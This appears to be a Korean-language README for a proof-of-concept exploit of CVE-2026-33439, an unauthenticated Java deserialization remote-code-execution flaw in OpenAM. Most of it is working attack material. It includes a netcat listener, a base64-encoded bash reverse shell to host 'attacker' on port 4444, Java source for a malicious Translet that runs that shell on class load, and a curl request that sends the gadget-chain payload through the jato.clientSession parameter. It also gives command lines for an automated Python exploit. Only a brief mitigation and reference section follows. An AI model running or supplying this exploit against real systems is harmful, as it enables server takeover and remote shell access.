    <p align="center">
    	<img src="https://assets.kitploit.com/production/public/readmes/42320/3e8c65c8fc037c62904e16abf7ffce67ecf3f9af373ee6dd8b63691579d5d1ac.png">
    </p>
    
    터미널 1 - 리스너:```
    docker exec -it cve_2026_33439_attacker bash
    
    nc -lvnp 4444
    

    터미널 2 - 전달:``` docker exec -it cve_2026_33439_attacker bash

    CMD='bash -i >& /dev/tcp/attacker/4444 0>&1'

    B64CMD=$(echo "$CMD" | base64 -w 0)

    cat > /work/EvilTranslet.java << EOF import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;

    public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF

    CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

    javac -cp $CP /work/EvilTranslet.java

    java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64

    PAYLOAD=$(cat /work/payload_shell.b64)

    curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."

    root@kitploit:~
    ---
    
    <div id="exploitation_poc"/>
    
    ### ***PoC 도구 사용법***
    
    <p align="center">
    	<img src="https://assets.kitploit.com/production/public/readmes/42320/f4a2a2d62540ff075135581b05071fb58dc67cfc95de469c201fdd4d052f4c5e.png">
    </p>
    
    Python 스크립트는 전체 체인을 자동화합니다: EvilTranslet을 컴파일하고, PayloadBuilder를 통해 gadget chain을 구축하며, URL-safe base64로 인코딩한 뒤 전달합니다.```bash
    # Copy JARs to the exploit directory first
    
    [attacker@lab /work]$
    
    touch Exploit_CVE_2026_33439.py
    
    vi Exploit_CVE_2026_33439.py
    
    python3 Exploit_CVE_2026_33439.py --help
    
    python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "touch /tmp/pwned"
    
    python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1"
    
    python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" --jars Jars/
    
    python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "curl http://attacker:9999/pwned" --proxy http://127.0.0.1:8080
    



    🛡️ 완화 조치

    • 패치: OpenAM 16.0.6 이상으로 업그레이드하세요. 이 수정은 CVE-2021-35464 이후 ConsoleViewBeanBase.deserializePageAttributes()에 이미 적용된 보호와 동일하게, ClientSession.deserializeAttributes()에도 WhitelistObjectInputStream을 적용하도록 확장합니다.



    📚 참고 자료

    • CVE-2026-33439 - NVD

    CVE-2026-33439에 대한 National Vulnerability Database 항목입니다.

    • GitHub 보안 권고 GHSA-2cqq-rpvq-g5qj

    근본 원인 분석, 영향받는 코드 및 가젯 체인 세부 정보가 포함된 공식 권고입니다.

    • CVE-2021-35464 - ForgeRock AM Pre-Auth RCE

    jato.pageSession에 WhitelistObjectInputStream을 도입하게 한 원조 취약점입니다.

    • ForgeRock OpenAM의 Pre-Auth RCE - PortSwigger 연구

    JATO 역직렬화 메커니즘을 다루는 CVE-2021-35464에 대한 원본 연구입니다.

    • CWE-502 - 신뢰할 수 없는 데이터의 역직렬화

    취약점 클래스를 설명하는 MITRE CWE 항목입니다.